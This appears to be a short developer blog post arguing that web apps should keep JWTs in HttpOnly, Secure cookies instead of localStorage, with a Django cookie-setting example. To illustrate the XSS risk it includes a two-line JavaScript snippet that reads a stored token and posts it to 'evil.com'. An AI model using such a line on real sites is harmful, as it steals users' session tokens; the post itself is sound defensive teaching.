← Back to Blog
· 2 min read

Stop Using JWTs for Web Sessions

Django

Why storing JWTs in localStorage is a security risk, and how to implement HttpOnly cookies in Django REST Framework.

There is a massive misconception in the web development community that Single Page Applications (React, Vue, Next.js) must use JSON Web Tokens (JWTs) stored in localStorage for authentication.

I'm here to tell you that for 95% of standard web applications, good old-fashioned HTTP-only, secure cookies are significantly better.

The Problem with LocalStorage JWTs

When you store a token in localStorage, any JavaScript running on the page can access it.

// Any malicious third-party script can do this:
const token = localStorage.getItem('access_token');
fetch('https://evil.com/steal', { method: 'POST', body: token });

If your application suffers from a Cross-Site Scripting (XSS) vulnerability, your users' accounts are immediately compromised.

Furthermore, JWTs are stateless. You cannot easily invalidate a JWT before it expires. If a user changes their password, or you detect suspicious activity, the token remains valid until its expiration time.

The Solution: HTTP-Only Cookies

Instead of sending the JWT in the response body for the frontend to manage, the backend should set it in a cookie with the HttpOnly and Secure flags.

Django Implementation

from django.http import JsonResponse
from rest_framework_simplejwt.tokens import RefreshToken

def login_view(request):
    user = authenticate(request, username=username, password=password)

    if user is not None:
        refresh = RefreshToken.for_user(user)

        response = JsonResponse({'message': 'Login successful'})

        # Set the cookie
        response.set_cookie(
            key='access_token', 
            value=str(refresh.access_token),
            httponly=True,  # JavaScript cannot read this!
            secure=True,    # Only send over HTTPS
            samesite='Lax'  # Prevent CSRF
        )
        return response

How the Frontend Handles It

The frontend doesn't need to do anything. When the browser makes a request to your API, it will automatically include the cookie, provided the API is on the same domain (or subdomain) as the frontend.

When SHOULD you use JWTs?

JWTs are incredible pieces of technology. They just aren't meant for standard web sessions. You should use JWTs when:

  1. Server-to-Server Communication: Two microservices communicating with each other.
  2. OAuth2 / OIDC: Identity providers passing claims to a client.
  3. Stateless API Keys: Allowing third-party developers to access your API without hitting a database table on every request.

Keep it simple. Stick to sessions or HTTP-only cookies for web apps, and sleep better at night.